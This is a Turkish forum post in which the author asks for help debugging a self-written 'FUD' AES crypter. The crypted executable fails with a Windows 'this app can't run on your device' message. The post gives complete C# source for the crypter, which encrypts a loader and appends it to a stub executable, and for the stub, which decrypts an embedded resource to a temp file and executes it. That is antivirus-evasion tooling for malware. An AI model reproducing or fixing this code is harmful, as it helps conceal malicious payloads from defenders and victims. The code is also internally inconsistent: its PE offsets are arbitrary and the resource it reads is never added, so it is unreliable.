- 5 Şub 2022
- 615
- 91
Merhaba, AES şifreleme ile bir crypter denemesi yaptım fakat bir yerde hata yapıyorum ama nerede yaptığımı bulamadım cryptlanan exe çalışmıyor.
Crypter:
STUB:
Cryptlanan exeyi çalıştırınca "BU UYGULAMA CİHAZINIZDA ÇALIŞMIYOR" şeklinde devasa mavi bşr yazı yazıyor
Crypter:
C#:
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Security.Cryptography;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace FUDCrypter
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
static void EncryptFile(string inputPath, string outputPath, string key, string iv)
{
byte[] bytes = File.ReadAllBytes(inputPath);
byte[] keyBytes = Encoding.ASCII.GetBytes(key);
byte[] ivBytes = Encoding.ASCII.GetBytes(iv);
using (Aes aes = Aes.Create())
{
aes.Key = keyBytes;
aes.IV = ivBytes;
using (ICryptoTransform encryptor = aes.CreateEncryptor())
{
using (MemoryStream ms = new MemoryStream())
{
using (CryptoStream cs = new CryptoStream(ms, encryptor, CryptoStreamMode.Write))
{
cs.Write(bytes, 0, bytes.Length);
}
byte[] encryptedBytes = ms.ToArray();
File.WriteAllBytes(outputPath, encryptedBytes);
}
}
}
}
static void AddResource(string stubPath, string outputPath)
{
byte[] stubBytes = File.ReadAllBytes(stubPath);
byte[] cryptBytes = File.ReadAllBytes(outputPath);
using (FileStream fs = new FileStream(stubPath, FileMode.Append))
{
fs.Write(cryptBytes, 0, cryptBytes.Length);
}
using (BinaryReader br = new BinaryReader(File.Open(stubPath, FileMode.Open)))
{
br.BaseStream.Seek(0x3c, SeekOrigin.Begin);
int peOffset = br.ReadInt32();
br.BaseStream.Seek(peOffset + 0x6c + 0x8c + 0x8 + 0x10 + 0x10 + 0x10 + 0x10 + 0x4 + 0x4 + 0x4 + 0x4 + 0x4 + 0x4 + 0x4 + 0x4 + 0x4 + 0x4 + 0x4 + 0x4, SeekOrigin.Begin);
int resourceSize = br.ReadInt32();
using (BinaryWriter bw = new BinaryWriter(br.BaseStream))
{
int newResourceSize = resourceSize + cryptBytes.Length + 40;
bw.Seek(-4, SeekOrigin.Current);
bw.Write(newResourceSize);
bw.Seek(0, SeekOrigin.End);
bw.Write((byte)1);
bw.Write(Encoding.ASCII.GetBytes("test_crypt.exe"));
bw.Write((ushort)0);
bw.Write((ushort)0x10);
bw.Write((ushort)0);
bw.Write((ushort)0);
bw.Write((uint)0);
bw.Write((uint)0);
bw.Write((uint)10);
bw.Write((uint)0);
bw.Write((uint)10);
bw.Write((uint)0);
bw.Write((uint)0);
bw.Write(cryptBytes.Length);
bw.Write((uint)(bw.BaseStream.Length + 4));
}
}
}
private void button1_Click(object sender, EventArgs e)
{
string inputPath = @"C:\Users\x\Loader.exe";
string outputPath = @"C:\Users\x\test_crypt.exe";
string stubPath = @"C:\Users\x\source\repos\Stub\Stub\bin\Debug\Stub.exe";
string key = "1234567890abcdef";
string iv = "fedcba0987654321";
EncryptFile(inputPath, outputPath, key, iv);
AddResource(stubPath, outputPath);
}
}
}
STUB:
C#:
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Reflection;
using System.Security.Cryptography;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace Stub
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
private void Form1_Load(object sender, EventArgs e)
{
string key = "1234567890abcdef";
string iv = "fedcba0987654321";
RunFile(key, iv);
}
static void RunFile(string key, string iv)
{
byte[] encryptedBytes = GetResource();
byte[] keyBytes = Encoding.ASCII.GetBytes(key);
byte[] ivBytes = Encoding.ASCII.GetBytes(iv);
using (Aes aes = Aes.Create())
{
aes.Key = keyBytes;
aes.IV = ivBytes;
using (ICryptoTransform decryptor = aes.CreateDecryptor())
{
using (MemoryStream ms = new MemoryStream(encryptedBytes))
{
using (CryptoStream cs = new CryptoStream(ms, decryptor, CryptoStreamMode.Read))
{
using (MemoryStream decryptedMs = new MemoryStream())
{
cs.CopyTo(decryptedMs);
byte[] decryptedBytes = decryptedMs.ToArray();
string decryptedFilePath = Path.GetTempFileName();
File.WriteAllBytes(decryptedFilePath, decryptedBytes);
System.Diagnostics.Process.Start(decryptedFilePath);
}
}
}
}
}
}
static byte[] GetResource()
{
string resourceName = "Stub.Hacking.test_crypt.exe";
Stream stream = Assembly.GetExecutingAssembly().GetManifestResourceStream(resourceName);
byte[] bytes = new byte[stream.Length];
stream.Read(bytes, 0, bytes.Length);
return bytes;
}
}
}
Cryptlanan exeyi çalıştırınca "BU UYGULAMA CİHAZINIZDA ÇALIŞMIYOR" şeklinde devasa mavi bşr yazı yazıyor